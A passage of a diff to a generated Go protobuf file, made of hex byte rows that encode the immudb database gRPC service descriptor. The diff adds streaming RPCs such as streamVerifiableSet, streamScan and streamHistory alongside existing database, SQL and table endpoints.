0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x12, + 0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x56, + 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, + 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, + 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, + 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, + 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, + 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, + 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, + 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, + 0x1a, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x84, 0x01, 0x0a, 0x15, + 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, + 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, + 0x01, 0x2a, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, + 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, + 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, + 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, + 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, - 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, - 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, - 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, - 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, - 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, - 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, - 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, + 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, + 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, + 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, + 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, + 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, + 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, + 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, + 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, + 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, - 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, - 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, + 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, + 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, - 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, - 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, - 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, - 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, - 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, - 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, - 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 